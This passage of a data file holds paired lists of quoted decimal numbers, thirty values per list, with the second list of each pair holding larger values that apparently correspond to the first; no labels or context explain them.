['18095.90031703', '94819.2290643', '23645.72336224', '20712.20542744', '95728.25607617', '77114.75331323', '95385.94748076',
'12030.69570165', '13070.8716275', '71294.09811942', '6058.90242174', '39531.06494041', '16100.50059025', '94955.12266694',
'86749.72345259', '87806.57602642', '46271.60415157', '57085.48607751', '82763.29463031', '65200.35038317', '68842.19007268',
'21057.28430324', '23704.43516321', '72741.13733351', '95756.22270299', '68938.33819061', '76991.14299032', '15038.97030202',
'27094.71533216', '4859.95149709'],
```

```
['330.04625461', '276.06959668', '167.95836604', '435.3450266', '37.82740871', '813.27762581', '269.54602101', '752.34108657',
'639.99382223', '297.04388284', '380.80307797', '663.03693292', '850.39262405', '470.79298365', '959.0236506', '531.44943889',
'67.82403192', '421.87094922', '209.35142623', '505.38589977', '337.97356718', '705.20998648', '873.33277703', '132.70071532',
'451.9677983', '757.1249999', '711.03250149', '767.92272454', '798.55995037', '135.89344095'],
['33992.91492563', '28428.03381957', '17298.71763966', '44854.16091292', '3887.95038334', '83752.0098236', '27755.64602071',
'77486.2977349', '65914.87942164', '30635.51122839', '39234.82946108', '68289.91845691', '87585.60044367', '48481.94465931',
'98783.88722846', '54732.03234491', '6987.33883597', '43465.84517695', '21556.58967142', '52080.68139201', '34828.7240257',
'72631.37418129', '89962.53213869', '13669.06031107', '46546.41355878', '77998.87263596', '73231.47224108', '79121.14319768',
'82259.03886801', '14004.76205954'],
```

```
['375.77784926', '345.9897416', '753.11042118', '218.61523979', '693.54593032', '466.21014008', '478.78110707', '752.09592248',
'383.04415037', '195.27272492', '804.28696373', '175.00224923', '55.89979772', '156.26230457', '100.58279768', '906.88620162',
'917.22385506', '831.21269239', '570.03679366', '952.21259823', '715.74905544', '501.31407764', '608.70620239', '71.64846652',
'761.34717053', '772.52358607', '749.47361793', '618.32830363', '330.87620467', '486.98236629'],
['46222.33428038', '42547.98276395', '92628.69173827', '26882.61610513', '85314.89505355', '57344.25167322', '58898.20103092',
'92491.68513252', '47108.09745439', '24013.47351128', '98917.3298778', '21520.44861225', '6871.43767972', '19233.13581866',
'12389.85750772', '111550.07019753', '112823.46481465', '102244.37159', '70116.70044304', '117129.41133218', '88021.66221152',
'61667.0301142', '74856.96362069', '8820.78953185', '93651.85465813', '95039.12524982', '92178.85966189', '76063.07063659',
'40697.49406277', '59898.81612422'],
```

```
['416.15169414', '95.35742822', '532.92556642', '738.21993399', '585.37521752', '966.18550004', '474.46432458', '130.34623716',
'715.55721098', '219.45212787', '409.09883053', '331.7094271', '10.8178897', '940.34804432', '712.12267427', '940.89541333',
'731.81680796', '106.36805423', '262.90949643', '180.26771122', '623.37309869', '278.56545225', '642.30048495', '728.62887851',
'909.84512701', '497.49478714', '656.12063593', '807.30333867', '157.80591737', '517.41918893'],
['41193.25282715', '9443.44447981', '52745.30244601', '73082.26922045', '57954.36410408', '95645.18472073', '46974.8428437',
'12906.49289197', '70854.98401661', '21738.80326286', '40504.95248262', '32840.48178824', '1062.25170533', '93095.67055827',
'70512.43646009', '93163.4811808', '72466.48568037', '10550.00761821', '26020.36888387', '17849.0015925', '61707.33701863',
'27570.7478196', '63574.0520794', '72133.24337463', '90073.0098793', '49247.07219546', '64961.62821694', '79933.56929305',
'15619.91558245', '51208.12132999'],
```

['855.71863743', '419.61608441', '17.01260592', '324.0547744', '716.31114864', '863.30004749', '84.29790543', '976.22426757', '104.46993086', '109.25966444', '82.25907239', '414.64722557', '615.78921442', '126.72099488', '560.10953048', '866.15214083', '486.64922971', '508.83966141', '808.94477888', '254.43000975', '668.10930731', '500.25852514', '544.08088238', '797.06979858', '61.5539598', '931.34004699', '478.53692389', '133.7822445', '93.96596101', '166.26126074'],
['83873.81086785', '41117.0260471', '1666.20493478', '31754.0452445', '70197.68788058', '84595.19096153', '8245.03933414', '95680.60220984', '10243.12217593', '10703.96771375', '8061.74530238', '40645.67067054', '60346.78763634', '12420.91195125', '54908.28977981', '84877.54068351', '47706.27810409', '49863.23589629', '79267.73779947', '24955.15935837', '65472.49724977', '49025.30593741', '53322.47361605', '78114.17034298', '6026.78746328', '91282.32303981', '46909.6045508', '13105.00051784', '9201.76467756', '16285.1434802'],

['961.42896613', '880.01559014', '83.22275402', '395.57239761', '780.01032713', '282.33068203', '842.79608186', '553.73351567', '193.51170801', '178.07431503', '826.76686821', '86.19919086', '686.69814062', '74.33370743', '647.99315154', '473.88015576', '616.64234296', '171.16680385', '773.68443895', '332.8139611', '930.19121058', '99.36359309', '270.62913407', '635.07681838', '86.95727186', '833.71170205', '343.05077439', '120.4172826', '128.45077139', '336.35063368'],
['54789.37910853', '50169.34226211', '4731.85686327', '22558.6696445', '44443.12745029', '16095.97911837', '48034.69140238', '31569.35724613', '11029.14090833', '10151.87233168', '47121.57926931', '4924.90439139', '39154.64723104', '4250.58900073', '36943.60631228', '27000.13664751', '35146.88660084', '9769.64353876', '44085.97494245', '18957.84883987', '53050.23231598', '5666.25962647', '15432.26784473', '36189.26751266', '4964.34334332', '47507.09414569', '19558.08356347', '6860.79987596', '7333.60029196', '19168.57271334'],

['550.45902105', '228.12550325', '68.80203824', '683.5233333', '889.10845278', '861.56808757', '518.63411754', '364.41906234', '572.8304435', '159.47855322', '556.45949151', '917.23698072', '757.91285115', '787.16231057', '737.99844728', '245.0405211', '52.0756283', '28.55323609', '225.46894865', '686.58505321', '14.90142937', '460.22570195', '599.8862689', '96.69859847', '869.19955622', '471.00773911', '454.74521275', '738.28451867', '382.72997792', '619.1680494'],
['28059.40170912', '11622.42159984', '3521.09309215', '34856.42496288', '45343.85696683', '43932.31721457', '26459.97797188', '18592.76201999', '29227.06926704', '8127.30435642', '28366.60357504', '46791.22601805', '38653.91904714', '40145.90592943', '37637.37673707', '12512.08393034', '2662.70816418', '1452.67853391', '11497.0264228', '35024.24491859', '745.58581837', '23475.79859285', '30597.49587161', '4922.08558025', '44319.29345767', '24017.90012774', '23204.79821327', '37649.07968082', '19522.04271859', '31569.69381237'],

['293.03333335', '977.25759321', '946.83114746', '670.01802651', '326.5535092', '604.97299156', '180.45137139', '510.69830952', '270.10097122', '153.58315123', '954.89694369', '801.50611192', '623.35083773', '184.51612842', '142.73574561', '428.17838663', '943.38752374', '467.03410215', '308.14449643', '149.58294481', '540.50772788', '490.30537934', '299.88397286', '73.56497957', '246.96651229', '702.61076357', '762.09063089', '237.11309292', '363.69929786', '96.56159396'],
['14948.47521171', '49830.43348593', '48299.43274742', '34180.56494734', '16642.6039895', '30856.3736512', '9203.25535631', '26041.68620997', '13781.09475635', '7824.80127194', '48708.52933662', '40867.8058413', '31806.54725431', '9414.92659058', '7273.52356735', '21824.83042706', '48114.40197201', '23815.02203589', '15704.75689317', '7634.03075931', '27573.13193637', '24999.25704268', '15284.12657825', '3761.70338164', '12586.2854194', '35852.3907001', '38876.82982123', '12090.0894127', '18539.83568853', '4925.07099562'],

['488.89030502', '974.81018407', '305.42764086', '711.45044485', '532.69748834', '639.41714947', '781.30973548', '991.63449229', '244.49169062', '910.54538352', '164.79162301', '474.2935062', '88.2978082', '605.52996107', '280.12066976', '663.13052706', '250.03575536', '919.93577493', '311.33287269', '379.94592394', '930.98531695', '886.64328293', '492.6706195', '73.84321619', '722.75660439', '489.60845817', '971.24835928', '184.64576622', '52.87204902', '580.98639941'],
['47424.6697837', '94553.77650693', '29621.25919587', '69001.14325354', '51683.88728469', '62024.42843785', '75797.20302701', '96186.54475826', '23715.04357123', '88322.45429763', '15968.49389009', '46014.90104337', '8554.88330255', '58718.18915062', '27173.89109029', '64307.30951013', '24266.20946428', '89227.45915022', '30199.84200852', '36851.85198448', '90291.71051551', '86007.69745615', '47782.36454494', '7158.81480752', '70119.36261101', '47501.59664446', '94211.41783595', '17909.62241333', '5121.41251707', '56343.16600783'],

['757.8311045', '636.2213215', '902.12505052', '499.75654218', '127.72950904', '882.64322555', '656.2953093', '21.42072804', '725.37210176', '457.74223273', '481.39951261', '792.85396703', '172.48900501', '394.29654435', '243.88110516', '852.54363923', '895.22270997', '469.13560721', '358.51570609', '854.75259534', '638.18261911', '420.86424855', '509.95363511', '431.86613506', '636.58649227', '123.97041299', '577.58844143', '262.99840121', '189.78868328', '787.41849954'],
['38649.17543316', '32457.20014554', '46010.30353712', '25488.35973732', '6502.42828169', '45011.01641967', '33480.71118294', '1088.92336328', '36995.93426516', '23323.7659937', '24562.13316771', '40436.17795611', '8792.89344394', '20113.02382694', '12443.89868014', '43473.10028117', '45662.35329587', '23926.72430618', '18274.25340859', '43571.01244684', '32554.18236133', '21458.45821785', '26004.81805105', '22012.25025337', '32467.78775331', '6325.82215388', '29453.76372959', '13417.43836004', '9666.94491302', '40160.13073102'],

['944.47482894', '117.49353646', '702.63882875', '985.59950367', '375.18366279', '918.76121312', '608.35944217', '316.75716209', '949.17793461', '31.87996099', '381.24902237', '931.86609551', '354.76018132', '210.12094641', '181.76558967', '244.70043508', '85.82822306', '88.97548062', '441.62227137', '340.39773081', '929.51264826', '970.96899844', '928.60632447', '203.39310302', '193.13109238', '106.31608367', '291.46077106', '587.83605164', '701.25053337', '210.92363714'],
['92556.50475888', '11503.68729362', '68844.86676944', '96599.2677088', '36766.78875663', '90028.05355339', '59621.45486491', '31054.97252431', '93028.26792127', '3124.23298676', '37371.02846717', '91337.92338139', '34767.83967172', '20593.24181793', '17807.79901922', '23980.95145731', '8407.21244031', '8739.84210758', '43273.63936166', '33338.40118579', '91082.4122946', '95153.77597119', '91004.36864182', '19930.01274677', '18929.17819519', '10418.36002098', '28563.58129806', '57603.48351866', '68726.26392842', '20680.89341528'],

['191.20934676', '446.41874862', '538.85236416', '192.98532714', '952.40703407', '731.97678657', '18.65082206', '181.2250559', '28.18647297', '859.57035446', '637.40633048', '59.87074668', '915.95550971', '745.68830647', '10.01517188', '22.22873812', '841.96926455', '362.77657929', '87.72406291', '918.48054648', '285.66776373', '683.22402108', '619.94227577', '196.02088616', '245.08516482', '785.06527652', '388.43004186', '389.10863513', '415.17139249', '945.29286129'],
['8596.79844099', '20094.52117883', '24246.78920588', '8685.21426075', '42866.63300235', '32953.759464', '851.33289486', '8163.23051206', '1278.21078809', '38670.21898225', '28678.33051064', '2682.24485544', '41215.6000657', '33577.14121889', '454.96595432', '1027.18389888', '37876.56342915', '16321.30465973', '3960.50035068', '41318.20157745', '12855.12955772', '30766.0333298', '27885.59735527', '8824.11692385', '11027.14878445', '35314.6252144', '17482.81720651', '17507.88886223', '18689.27209026', '42542.00338271'],

['818.93824778', '274.4757318', '450.79308756', '852.9757658', '715.02366313', '561.94850884', '423.06200059', '232.94866203', '296.92962433', '381.36413035', '992.61205419', '80.79189577', '570.12911794', '697.60091571', '144.97415012', '588.18144054', '109.60435996', '441.61552187', '63.34431131', '736.85941108', '451.12027939', '991.7989743', '330.75275297', '452.54492048', '793.19470456', '466.9730178', '686.39928766', '82.3367839', '472.15688687', '515.31374619'],
['42580.284625', '14270.91219747', '23444.18824629', '44359.14506048', '37183.67404722', '29205.80458529', '22004.50506608', '12108.03957818', '15441.72221063', '19832.68106969', '51601.86230329', '4196.84475886', '29645.35886464', '36277.23953429', '7552.25748111', '30578.74768128', '5710.87826543', '22953.95241986', '3287.74949901', '38331.42509288', '23457.89243016', '51574.76536411', '17189.43545631', '23536.82734928', '41248.14231057', '24285.71693456', '35695.54142166', '4298.58448011', '24549.64922035', '26792.10427535'],

['53.42307981', '675.95398662', '934.33252674', '378.5590267', '382.26244355', '138.4870198', '486.12173807', '488.05663257', '901.30321412', '431.8898304', '509.24168834', '280.81295115', '369.16333091', '36.22458311', '770.78998851', '507.98097905', '848.27579273', '442.91204605', '830.51169842', '926.1206153', '898.71755568', '128.14900801', '897.11562576', '308.89483008', '237.71305663', '749.05677912', '799.05362056', '975.74768073', '362.40159343', '815.66956003'],
['5348.09252826', '67575.32411346', '93440.35028585', '37874.27191097', '38215.91829313', '13862.60774978', '48589.46184041', '48806.1795766', '90111.35871323', '43190.76939844', '50920.26960822', '28074.39856272', '36897.95163819', '3638.91493539', '77070.64430093', '50802.13920361', '84840.03802198', '44298.46572081', '83044.32474058', '92625.11827772', '89858.67147479', '12827.8411816', '89707.37667697', '30904.99710507', '23777.44120018', '74896.35919481', '79893.27085793', '97581.0323544', '36230.33091825', '81570.78357635'],

['877.59674394', '185.24024857', '456.21621288', '146.23925175', '459.59988169', '625.63850593', '516.54388019', '944.09935684', '483.62906213', '431.27815144', '484.69225339', '351.49849812', '76.79647987', '819.93216517', '894.70860029', '792.71598066', '765.34263274', '681.82353009', '600.98893931', '440.38941172', '613.82139532', '247.67200209', '122.30622338', '421.0813017', '366.01771191', '919.80533196', '168.2054416', '184.35997578', '571.63597571', '764.92960641'],
['43006.52120426', '9095.04885473', '22336.69061494', '7177.85284139', '22518.17139386', '30655.28025862', '25310.62774638', '46268.22383685', '23714.32724714', '21131.63568556', '23760.08763086', '17221.69069598', '3769.99830703', '40179.12445431', '43836.605519', '38840.90206389', '37519.55592243', '33393.20444189', '29441.79824858', '21602.23261919', '30088.63519035', '12160.35798562', '5992.01249704', '20623.25061944', '17946.98429129', '45064.69175641', '8223.58141254', '9031.11312872', '28004.70961776', '37466.73681595'],

['208.51322415', '896.8960614', '603.81428726', '955.03766264', '264.83369037', '217.97892771', '151.92055669', '342.05551493', '290.12797931', '198.5858142', '137.73346902', '702.61699035', '822.13801851', '313.20646004', '186.1813904', '38.94095262', '964.31720247', '24.48502425', '823.36333494', '545.70714263', '616.14704533', '882.54935963', '185.93132101', '670.30953158', '21.39591895', '139.55573893', '282.9207117', '439.96718584', '13.07635302', '905.80926894'],
['21047.21370552', '90583.62863211', '60974.77347813', '96452.51366545', '26749.97211762', '22015.54629726', '15346.74617479', '34561.42546613', '29300.66938782', '20056.26749321', '13906.49420263', '70973.37160252', '83035.37226597', '31617.97628053', '18794.72904003', '3931.63136727', '97397.18803703', '2477.82634139', '83126.70227598', '55116.51846391', '62225.96432641', '89118.21144422', '18775.0624185', '67710.19835264', '2173.52642551', '14096.94636606', '28573.37632377', '44440.37196066', '1315.89865859', '91499.91858191'],

['584.02449351', '391.26551561', '733.74737743', '900.0968745', '770.35688391', '977.64292829', '726.89020465', '782.40023803', '418.65778781', '904.96907539', '541.51631925', '830.95898303', '284.65446273', '675.41033512', '897.35356196', '303.00341675', '966.25305135', '743.24969091', '291.4445655', '78.70363567', '88.71531771', '963.23607037', '204.41131395', '804.68579082', '970.65756385', '533.92045771', '958.91120401', '121.05775893', '656.47429935', '474.93382532'],
['26277.06803339', '17622.60419167', '33000.92816893', '40515.88930231', '34656.00019857', '43992.67356193', '32710.27096925', '35203.82015985', '18833.48479408', '40708.52565769', '24350.27983934', '37383.62489025', '12812.04366077', '30392.96230355', '40381.81139034', '13636.98816515', '43471.80167674', '33451.04240553', '13105.47691121', '3545.74219647', '3994.68033072', '43329.15284088', '9202.57407449', '36209.42256306', '43688.67430735', '24043.81132172', '43154.95621293', '5462.23237486', '29528.02414782', '21370.08289803'],

['987.2807587', '923.40130607', '812.67105546', '666.86197186', '294.96518821', '800.11183335', '674.22460765', '844.3531141', '259.23498622', '542.51688087', '510.56059077', '618.91604856', '91.65626306', '945.42567307', '428.78917287', '306.50088155', '28.73107729', '282.66902364', '840.03581418', '778.50358078', '905.26104374', '290.1228754', '852.36673957', '580.57854234', '392.46855985', '850.36463095', '556.77848585', '957.65205086', '655.79215776', '80.46228054'],
['51360.41459062', '48022.8325111', '42254.03735711', '34702.26177396', '15350.04312836', '41601.4593912', '35059.53957935', '43921.40295841', '13477.21511147', '28202.96374337', '26539.27504014', '32191.617693', '4764.24146894', '49161.71026561', '22291.97172079', '15935.96965391', '1504.57237659', '14692.10123514', '43695.05145267', '40491.91104884', '47084.49800857', '15093.47685642', '44308.4989035', '30176.84066109', '20404.14020953', '44210.27672895', '28938.29296864', '49807.36801307', '34113.53867696', '4181.30477036'],

['92.67921739', '737.64728495', '860.01527045', '58.14704066', '459.84727926', '567.4106393', '66.39394715', '90.56254195', '136.98106115', '318.31756702', '132.77413077', '395.56918178', '432.19676849', '347.94112088', '135.75808826', '919.47785454', '323.01290671', '413.66299151', '237.7125053', '745.89872402', '670.56596472', '693.64183225', '407.90648025', '979.06750321', '985.15054185', '371.60283595', '630.55397044', '671.06613765', '977.54535003', '998.57929297'],
['4827.67429944', '38371.96511998', '44721.01811185', '3018.62705297', '23901.73110226', '29513.93615518', '3461.18757649', '4704.01380308', '7129.7096811', '16547.80729219', '6907.99524063', '20573.10303591', '22472.81527933', '18092.9517047', '7055.66825614', '47801.69369497', '16803.44619417', '21489.73150483', '12360.13407788', '38791.37049045', '34858.13302077', '36082.72475785', '21215.52329256', '50909.23618915', '51214.25325353', '19332.31329805', '32787.74893356', '34924.00452669', '50834.56231553', '51920.09527057'],

['451.07143076', '859.62113436', '877.20512262', '886.57613008', '303.75566151', '755.42386015', '465.70349963', '845.45408065', '313.60379848', '645.78588616', '298.07507362', '774.74606571', '963.59287287', '607.79738216', '345.17363494', '417.0439652', '72.3836144', '16.80894541', '212.52785396', '52.45865385', '491.05075178', '855.39995212', '836.01577767', '793.55187149', '477.51116822', '300.38391177', '375.97973927', '428.07148391', '341.73155246', '365.91436395'],
['44648.58982315', '85100.91151148', '86861.29192878', '87771.97396911', '30074.8825098', '74786.71338908', '46100.26547683', '83700.88159577', '31041.9419444', '63930.40650431', '29504.6590559', '76690.95098092', '95389.64170203', '60171.57698412', '34178.56463676', '41271.89743128', '7170.20873483', '1665.55902983', '21030.16240135', '5193.30989589', '48610.31008303', '84706.29880054', '82778.05704932', '78566.64195045', '47267.98350747', '29743.74945031', '37220.68366209', '42390.59970454', '33825.13993837', '36233.53052806'],

['852.42082579', '279.70742403', '623.07878522', '957.12621419', '471.80959692', '121.94478512', '312.80800524', '529.42224754', '647.82875061', '769.45273388', '193.88759777', '386.1365865', '540.21581717', '93.12064523', '23.4601243', '772.31540463', '150.45730182', '776.30981847', '934.77108156', '451.18414804', '400.88028728', '480.7449284', '739.7560134', '306.05321005', '901.66236446', '668.29939717', '714.81334529', '379.78648543', '520.37586959', '672.87488744'],
['44324.1868112', '14555.06922309', '32383.72916071', '49770.22522125', '24524.75910538', '6337.90338072', '16272.36948841', '27537.54245669', '33699.48830509', '39995.38360825', '10065.577973', '20085.69113215', '28099.3892566', '4837.59497265', '1229.43306659', '40177.12480118', '7813.62890907', '40349.10914505', '48618.37446964', '23462.53653533', '20834.99794579', '24989.32508663', '38464.25199006', '15907.14198731', '46884.01582799', '34740.61342863', '37156.67789789', '19754.67988977', '27056.21872493', '34993.07180516'],

['88.69913455', '440.61268638', '566.0817798', '661.46258125', '58.56920579', '32.50484224', '724.16147152', '726.59740794', '384.99476605', '197.8044525', '60.01011905', '913.71928442', '191.94831434', '153.04875804', '708.41077254', '828.44410391', '127.47144088', '35.14448629', '20.57272798', '962.89556667', '75.30008471', '64.20040537', '993.88402474', '759.29242314', '513.80442281', '984.83972193', '235.25577744', '644.61202242', '197.44285846', '70.73980681'],
['3981.24339828', '19824.58695867', '25465.51969674', '29760.18446643', '2641.12890174', '1467.02496846', '32589.43420644', '32698.82338819', '17342.29596025', '8907.8054311', '2698.92264774', '41116.76024115', '8635.99449904', '6889.19912318', '31887.02882903', '37275.38863967', '5732.08974199', '1580.75499384', '906.78247626', '43333.71162029', '3398.12093191', '2895.65885796', '44731.81088532', '34160.66984946', '23118.35791598', '44322.25378385', '10591.29910288', '29010.49327537', '8892.36083421', '3173.69969889'],

['148.48732369', '640.57060582', '253.39892316', '953.68839596', '607.23205998', '364.77248965', '358.04814078', '214.51356257', '749.48290964', '861.74878646', '424.0425894', '147.79975249', '660.22044711', '509.90377456', '732.57890372', '764.66064711', '243.75952797', '946.62120898', '728.23385368', '603.16762785', '776.49399096', '593.3909644', '215.19095461', '45.82394841', '507.10075123', '85.76415718', '963.12562582', '676.15360799', '536.09903958', '810.60038648'],
['8310.02743579', '35866.51732311', '14182.2278855', '53406.42652936', '34019.54540969', '20411.40840471', '20046.20727168', '12015.59443431', '41961.05732732', '48249.24493864', '23730.69793196', '8255.5075167', '36954.4461673', '28538.9175999', '41004.9363515', '42821.52503139', '13642.51643158', '52997.8983299', '40779.21626595', '33758.65370275', '43477.16259564', '33224.96625719', '12048.82330106', '2569.25017739', '28402.08203188', '4809.62150555', '53940.07060929', '37866.6243539', '30030.65568776', '45390.15238032'],

['533.19187473', '871.38284904', '613.76803423', '235.42175956', '320.16701592', '865.19782643', '133.05982777', '914.89527704', '714.84426119', '310.58079402', '924.13747585', '129.76986746', '932.65048794', '387.46612746', '478.13812551', '976.72910428', '769.19187119', '952.78423237', '770.02801385', '374.02305979', '759.07435817', '699.56508474', '924.25291415', '686.45683903', '755.60201472', '507.82693135', '294.70237867', '421.1336655', '785.99023479', '106.85691326'],
['53306.41659469', '87137.59679141', '61369.34729484', '23541.29059092', '32026.19107648', '86522.66215535', '13298.88161512', '91481.93284058', '71502.76088117', '31075.89266225', '92393.04910592', '12975.77122042', '93271.87871233', '38760.75803539', '47813.02525068', '97673.92375961', '76918.17613688', '95271.18539749', '77014.20593999', '37408.38153135', '75891.3393158', '69970.33486296', '92432.52475018', '68642.30963658', '75549.50820461', '50777.20476298', '29469.09205274', '42109.31835416', '78598.37227231', '10677.41221174'],

['321.99495043', '115.22586333', '413.80010058', '349.51467499', '58.10006132', '543.82314033', '824.79510942', '199.96354152', '897.52006936', '820.51897461', '105.92724094', '345.62285527', '687.1581457', '194.08523778', '590.44326656', '915.88251635', '830.37678659', '757.52669595', '597.29808196', '84.33198554', '534.83355969', '337.73184592', '739.78857026', '265.52042493', '723.0525694', '368.50891308', '933.73997952', '654.36909375', '991.47633078', '260.20271918'],
['18039.25606868', '6447.81318761', '23158.88027889', '19573.91241618', '3251.75228973', '30455.08289641', '46182.79043197', '11192.81881032', '50247.53030852', '45957.40566228', '5936.65331162', '19362.80811744', '38474.96248418', '10861.13269551', '33059.42176971', '51303.58104934', '46496.53460036', '42430.05058474', '33445.64371847', '4738.31416266', '29940.433323', '18894.91055846', '41412.47090649', '14877.3522518', '40485.1304074', '20636.88155053', '52284.24496609', '36650.28354574', '55522.01688529', '14584.72090383'],

['426.93142923', '197.33981884', '502.41690404', '408.27713394', '181.13456633', '12.33504466', '245.97012889', '395.43467064', '507.86359704', '727.79871062', '685.98885783', '895.7100344', '699.30274475', '715.78337009', '30.57656561', '891.65797364', '621.18153852', '476.99641883', '333.92580637', '342.93617772', '910.53723998', '496.63756414', '171.07468157', '441.26684004', '490.10091635', '881.91432734', '92.93885115', '365.57812918', '861.88463577', '487.6408872'],
['41855.38691221', '19337.12060339', '49225.94902518', '40017.38191093', '17754.61418428', '1206.38065562', '24127.04110192', '38752.82859268', '49778.30763522', '71323.55558861', '67233.10300276', '87783.00280545', '68541.57811709', '70147.45148865', '2977.46772889', '87385.38492798', '60862.85795049', '46744.33699358', '32726.31221096', '33612.62890021', '89244.61906943', '48679.64544454', '16767.83904413', '43237.99023235', '48028.59339371', '86428.68445874', '9094.34414801', '35832.85712914', '84452.05121732', '47780.16118499'],

['569.90775258', '259.25767527', '690.91183044', '948.86849317', '544.06833254', '197.26779051', '298.61058713', '683.87193338', '294.33918705', '828.10151431', '924.68886503', '136.76843766', '418.8573734', '68.10712679', '399.85623771', '70.83339563', '910.1977888', '992.50387002', '762.69517814', '986.1849321', '967.88528941', '958.91727174', '503.08398388', '223.79012052', '453.17863034', '937.41160231', '150.44548532', '561.82521041', '293.5395797', '507.37754174'],
['25645.07206701', '11664.34357045', '31114.01467688', '42692.25057414', '24500.86290162', '8883.78689457', '13420.56453766', '30781.6606039', '13234.15340717', '37266.88197604', '41614.55896474', '6152.13059248', '18849.97209229', '3070.59894962', '17988.7681866', '3205.69877817', '40967.70007434', '44672.97608754', '34317.93486745', '44382.10501461', '43547.90634749', '43155.30684744', '22646.17848203', '10075.06459743', '20392.9473377', '42179.35508423', '6783.06855925', '25271.53574604', '13191.64443657', '22839.03452719'],

['559.26633423', '86.80616892', '413.11274096', '791.6304821', '70.92958063', '574.84837105', '25.70753872', '582.61701549', '888.11254541', '943.08872857', '937.72167346', '521.56153284', '94.78528309', '214.15037775', '776.72933515', '372.12098704', '545.40471806', '320.58868139', '285.62144486', '724.72813196', '346.92630345', '88.72413305', '518.71849395', '967.37529176', '348.06405913', '203.05951577', '586.37195114', '639.12107577', '647.8415526', '663.60920092'],
['28518.47703666', '4413.21229899', '21056.26836123', '40368.94482964', '3606.76398815', '29312.65228235', '1334.48780528', '29718.90540865', '45293.1729968', '48082.8454693', '47827.05920971', '26602.34485199', '4837.71980141', '10931.09125902', '39606.97034085', '18975.62488143', '27820.22671927', '16356.24210803', '14561.91142635', '36972.43261884', '17685.84967055', '4536.48741769', '26441.83784418', '49329.4466024', '17758.03902778', '10341.59082036', '29906.10022077', '32583.35157145', '33053.50738919', '33831.63603829'],

['514.81392442', '750.4926117', '551.41248496', '143.23584658', '252.51927666', '473.83951572', '450.32551976', '590.74875011', '506.80691297', '201.15882347', '419.25233175', '314.12928157', '522.36229832', '976.2011434', '552.62409941', '351.11891695', '853.48271342', '424.54521793', '36.59837522', '581.32363993', '356.01622993', '893.42913756', '997.17432501', '344.3513558', '70.77648998', '797.70592841', '161.14775159', '226.81424888', '599.64199139', '184.3533472'],
['51495.84550328', '75050.51671005', '55135.85980991', '14330.40413551', '25255.73978691', '47380.05109344', '45028.88983019', '59078.80972778', '50691.57148587', '20126.89928205', '41925.16496648', '31417.20771259', '52245.33132314', '97610.95187679', '55242.52037433', '35095.4201429', '85352.84168882', '42469.14913978', '3675.50170851', '58135.1081977', '35605.18808367', '89371.08541104', '99706.06928978', '34433.87773337', '7096.73052244', '79775.69188309', '16124.46670203', '22672.5467619', '59952.82170551', '18437.32243803'],

['784.64923271', '153.10650567', '691.29381902', '333.58764581', '664.19231467', '630.35820881', '588.62010284', '472.55681668', '631.68927914', '879.86346359', '266.29797046', '629.88601133', '195.36409094', '369.18727058', '430.73671884', '675.62221119', '85.34782058', '909.54679611', '851.09005519', '221.10353341', '909.9755529', '385.07106849', '291.50571137', '785.5003097', '710.73061379', '421.69598526', '516.2531702', '899.60901798', '480.30526037', '169.57538647'],
['37660.51312426', '7341.9212754', '33183.62717476', '15985.83249052', '31870.34369941', '30265.49931573', '28236.67170466', '22693.31586453', '30332.56833698', '42237.83544114', '12784.90299409', '30225.55678705', '9369.65498247', '17709.67288711', '20679.02126311', '32423.75381299', '4100.28106147', '43664.40040083', '40868.11947713', '10616.79677849', '43684.61620951', '18478.24138299', '13993.84048476', '37727.23061013', '34102.96264593', '20236.90717634', '24772.44050157', '43181.84595408', '23041.16537051', '8157.20489773'],

['446.62155977', '324.94253338', '102.43131776', '775.21218166', '854.65958916', '452.7726587', '777.58198753', '999.36457619', '864.20855758', '760.45466744', '39.88373107', '732.27365838', '399.90220761', '710.79778067', '196.63800797', '804.59047164', '748.59385962', '31.53645521', '836.41648784', '898.29072378', '170.19076437', '323.52214987', '681.48060974', '712.08829644', '937.32375816', '698.8897477', '20.91215789', '265.73873218', '401.74490155', '120.80415554'],
['24108.97395473', '17548.14517285', '5536.30679546', '41865.50241854', '46161.41435054', '24443.5830865', '41995.54827232', '53963.17695547', '46660.53231405', '41063.54693763', '2161.04163656', '39522.68730382', '21581.5060206', '38371.4859372', '10609.8891701', '43436.53977992', '40423.22088297', '1699.11287397', '45148.6380815', '48511.13790569', '9200.74172436', '17473.66911324', '36790.59641178', '38456.35384379', '50626.60918023', '37746.82172732', '1142.25550072', '14345.92697125', '21678.41346483', '6523.32005846'],

['772.75072158', '699.38526892', '769.57173725', '331.76316933', '416.17361279', '938.92709099', '986.58665644', '818.91916278', '796.51952057', '506.34167511', '532.95875904', '925.01141445', '504.26140076', '415.47379256', '618.13827602', '768.10269552', '563.40491088', '583.01351321', '482.1053506', '23.44412819', '972.31851577', '306.53893738', '561.37426789', '559.41090403', '246.12424347', '388.15517921', '66.50892585', '996.81624669', '901.42403628', '974.38057741'],
['41709.52982244', '37766.94508889', '41571.54218446', '17925.00498663', '22472.98055665', '50689.98544343', '53281.6803714', '44234.54162984', '43005.2956678', '27343.12939999', '28776.68475343', '49961.73838367', '27228.29746936', '22435.49967316', '33391.38620251', '41487.53632217', '30417.62248745', '31462.2891053', '26022.52835672', '1272.72076517', '52504.24020521', '16555.93530128', '30318.81814958', '30215.1786429', '13306.70751077', '20948.27366304', '3590.76708153', '53858.79024443', '48681.65709406', '52632.46114412'],

['962.14301264', '506.23196829', '120.64307737', '15.88908341', '961.66561455', '148.11527947', '434.71603729', '414.68496255', '886.8031691', '321.28122151', '56.84227256', '914.23959611', '979.50171915', '205.12283379', '984.79460607', '269.6719723', '986.5376834', '470.17333184', '918.21395488', '958.54397277', '747.40663785', '32.23958407', '289.74921695', '462.75090646', '372.21746943', '256.23212713', '150.78571508', '580.0809142', '235.98786201', '142.5226229'],
['54835.73746335', '28857.95040093', '6870.76365176', '907.22139555', '54819.88315771', '8456.46922896', '24779.28094006', '23651.64722329', '50531.58203543', '18310.24962515', '3241.08075483', '52103.50922595', '55827.76591627', '11688.91635096', '56137.67492903', '15384.32591036', '56232.40423483', '26799.08618741', '52308.94132533', '54653.31624881', '42603.89037375', '1832.15597673', '16518.1251477', '26390.02524971', '21206.29329104', '14605.29658974', '8584.23702949', '33065.71653955', '13447.63934958', '8105.95186432'],

